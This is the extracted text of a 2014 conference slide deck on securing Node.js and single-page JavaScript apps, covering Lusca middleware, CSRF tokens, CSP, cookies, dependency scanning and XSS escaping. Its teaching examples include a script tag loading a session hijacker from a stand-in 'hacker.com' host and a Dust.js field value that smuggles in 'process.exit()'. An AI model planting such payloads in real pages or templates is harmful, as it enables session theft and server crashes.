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Securing
Your
Node.js &
Single Page Apps
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@mark_stuart
@mstuart
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How are you
using JavaScript?
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So, why security?
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Not just PayPal,
but your company too.
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Web Security
State of the Union
2014
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Same vulnerabilities.
Nothing new.
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ok cya.
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Same vulnerabilities.
Different beast.
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Node
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Know what you require()
Rule #1 !
!
!
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npm has ~80,000 modules
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modulecounts.com
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Really great developer
ecosystem, except…
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Anyone can publish anything
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Node is still JavaScript
Rule #2 !
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Client-side vulnerabilities
still exist on the server-side
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Eval is still evil
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Do not run as root
Rule #2 !
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Running as root is wreckless
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If you’re compromised,
terrible things could happen
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Steal SSH keys or configs
Read/write files Execute
binaries Cause server to hang
Tamper with routes Inject XSS
Steal session data Crash server
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Steal SSH keys or configs
Read/write files Execute
binaries Cause server to hang
Tamper with routes Inject XSS
Steal session data Crash server
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Steal SSH keys or configs
Read/write files Execute
binaries Cause server to hang
Tamper with routes Inject XSS
Steal session data Crash server
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Steal SSH keys or configs
Read/write files Execute
binaries Cause server to hang
Tamper with routes Inject XSS
Steal session data Crash server
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Steal SSH keys or configs
Read/write files Execute
binaries Cause server to hang
Tamper with routes Inject XSS
Steal session data Crash server
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Steal SSH keys or configs
Read/write files Execute
binaries Cause server to hang
Tamper with routes Inject XSS
Steal session data Crash server
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Steal SSH keys or configs
Read/write files Execute
binaries Cause server to hang
Tamper with routes Inject XSS
Steal session data Crash server
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Steal SSH keys or configs
Read/write files Execute
binaries Cause server to hang
Tamper with routes Inject XSS
Steal session data Crash server
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Ok, so if not root, then what?
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Create a user for node
with restricted permissions
!
(plenty of docs out there)
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Create a user for node
with restricted permissions
!
(plenty of docs out there)
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Create a user for node
with restricted permissions
!
(plenty of docs out there)
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Use good security defaults
Rule #3 !
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Node is a set of
barebones modules
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HTTP
OS DNS
TLS/SSL
Path
Process
UDP URL
File System Crypto Buffer
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Express is a
barebones framework
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Express does very
little to secure your app
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But, that’s okay!
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… drum roll …
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Enterprise-grade
Express "
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Lusca
App Security module for Express
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var express = require(‘express’),
app = express(),
lusca = require(‘lusca’);
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app.use(lusca.csrf());
app.use(lusca.csp({ /* ... */ }));
app.use(lusca.hsts({ maxAge: 31536000 });
app.use(lusca.xframe('SAMEORIGIN'));
app.use(lusca.p3p('ABCDEF'));
app.use(lusca.xssProtection(true);
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Pardon the interruption
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CSRF
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Trick victim’s browser into
making malicious requests
CSRF
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All you need is a valid cookie
CSRF
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CSRF
#
Victim
yoursite.com
"
Cookie
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CSRF
#
Victim
hackedsite.com
Cookie yoursite.com
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CSRF
!
document.forms.someHiddenForm.submit();
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It’s a simple HTTP request.
CSRF
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If only we had a way to ensure
requests were legitimate…
CSRF
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lusca.csrf();
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Token synchronizer pattern
lusca.csrf();
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1. Creates a random token
(using some crazy crypto libraries)
lusca.csrf();
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2. Adds token to res.locals
lusca.csrf();
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3. Dump token on the page
lusca.csrf();
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4. Send token with every
POST, PUT, DELETE request
lusca.csrf();
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$.ajaxPrefilter(function(options, _, xhr) {
if (!xhr.crossDomain) {
xhr.setRequestHeader('X-CSRF-Token', csrfToken);
}
});
lusca.csrf();
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5. Verify token is correct,
otherwise return 403.
lusca.csrf();
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CSP
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CSP is really awesome.
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It’s basically a whitelist.
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Content-Security-Policy:
default-src 'self' https://*.your-cdn.com;
script-src 'self' https://*.your-cdn.com;
img-src https://*.your-cdn.com data:;
object-src 'self';
font-src 'self' https://*.googlefonts.com;
connect-src …
frame-src …
style-src …
media-src …
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lusca.csp( { /* … */ } );
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lusca.csp({
"default-src": "'self' https://*.your-cdn.com”,
"script-src": “'self' https://*.your-cdn.com”,
"img-src": “https://*.your-cdn.com data:”,
"font-src": “‘self’",
“report-uri”: “https://mysite.com/cspReporter”
});
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“report-uri”: “https://mysite.com/cspReporter”
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lusca.hsts();
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lusca.hsts();
Ensures HTTPS traffic
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Helps prevent MITM attacks
lusca.hsts();
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lusca.xframe();
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lusca.xframe();
Prevent others from loading
your app in an iframe
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app.use(lusca.xssProtection());
app.use(lusca.p3p());
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app.use(lusca.csrf());
app.use(lusca.csp({ /* ... */ }));
app.use(lusca.hsts({ maxAge: 31536000 });
app.use(lusca.xframe('SAMEORIGIN'));
app.use(lusca.p3p('ABCDEF'));
app.use(lusca.xssProtection(true);
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Okay, now where were we?
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HTTPOnly cookies
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Prevents session hijacking
HTTPOnly cookies
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app.use(express.session({
secret: ‘0m6!s3cr37’,
cookie: { httpOnly: true, secure: true },
}));
HTTPOnly cookies
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Set-Cookie:!
connect.sid=%3AbzLqvcp7DnQJMaLAPmJ7p; !
Path=/; Expires=Wed, 21 May 2014 18:26:44 GMT;
HttpOnly
HTTPOnly cookies
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Handle errors, or crash.
Rule #4 !
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!
Wed, 21 May 2014 18:49:00 GMT !
uncaughtException Object # has no method ‘forEach'!
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TypeError: Object # has no method 'forEach'!
at module.exports.fetchSettings (/Users/marstuart/oddjob/helpers.js:174:18)!
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Process finished with exit code 1!
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Basically, a DOS attack
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Catch them or restart
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Scan for vulnerable modules
Rule #6 !
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Node Security Project
http://nodesecurity.io
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Audit all modules in npm
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Contribute patches
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Educate others
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npm install grunt-nsp-package --save-dev
grunt validate-package
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Define custom rules
ESLint
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Security can be automated
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Make it a part of your CI
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Update your dependencies
Rule #7 !
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Add a badge to your README
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david-dm.org
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Let’s recap…
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1. Know what you require()
2. Node is still JavaScript
3. Do not run as root
3. Use good security defaults
4. Security can be automated, too!
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Client-side JS
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Escape everything.
Rule #1 !
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Content injection
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XSS sucks. It’s everywhere.
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<script src='http://hacker.com/
sessionhijacker.js'></script>
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User input and
backend data
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Don’t trust
backend services
to escape properly
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Persistent or
Stored XSS
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#
Attacker
yoursite.com
PUT /account/edit
{ firstName: ‘…’ }
#
Victim
#
Victim
<script>…
GET /addressBook
…
GET /addressBook
yoursite.com
yoursite.com
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Case Study: TweetDeck worm
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TweetDeck worm
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TweetDeck worm
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Just one tweet.
TweetDeck worm
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Just two weeks ago.
TweetDeck worm
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… So how do I escape?
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DOMPurify and Google Caja
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DOMPurify
Plain ol’ JavaScript
var clean = DOMPurify.sanitize(dirty);
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require(['dompurify'], function(DOMPurify) {
var clean = DOMPurify.sanitize(dirty);
});
DOMPurify
RequireJS / AMD
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var DOMPurify = require(‘dompurify’);
var clean = DOMPurify.sanitize(dirty);
DOMPurify
Node
npm install dompurify
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Know your templating library.
Rule #2 !
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Use it properly.
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Underscore templates
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” />
” />
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Dust.js templates
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{@if cond=“{cardType} === ‘VISA’”}
{/if}
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{@if cond=“{zipCode} === {defaultZipCode}”}
{/if}
{
“zipCode”: “\\”,
“defaultZipCode”: “);process.exit();//“
}
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Your server crashed.
$
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Upgrade your front-end
dependencies.
Rule #3 !
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Retire.js
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jQuery <1.9.0
jQuery Mobile <1.0.1
Backbone <0.5.0
Angular <1.2.0
Handlebars <1.0.0
YUI <3.5.0
Ember <1.3.0
Mustache <0.3.1
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Running "retire:jsPath" (retire) task!
!
>> test-files/jquery-1.6.js!
>> ↳ jquery 1.6 has known vulnerabilities: http://web.nvd.nist.gov/view/
vuln/detail?vulnId=CVE-2011-4969!
!
>> Aborted due to warnings.
npm install grunt-retire --save-dev
grunt retire
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Automate it!
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C’mon, it’s 1 line.
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Rules of Thumb
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No matter what you do,
someone will always
find a way in
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But, you’ll get 80% there
if you…
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Choose libraries with
good security defaults.
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Sanitize data coming in
and going out.
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Update your dependencies!
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Automate security, too.
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Ok.
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Ok. so,
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Ok. so, listen…
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Node is awesome.
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It’s enterprise ready.
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We just need to write
better, more secure apps.
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thanks!
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We’re hiring!
(we have an office in Berlin, too!)
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mark stuart
@mark_stuart
@mstuart
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Links
https://github.com/nodesecurity/grunt-nsp-package
https://github.com/bekk/grunt-retire
https://nodesecurity.io/
https://github.com/evilpacket/helmet
http://krakenjs.com/
https://github.com/krakenjs/lusca
https://david-dm.org/
https://www.owasp.org/index.php/Cross-Site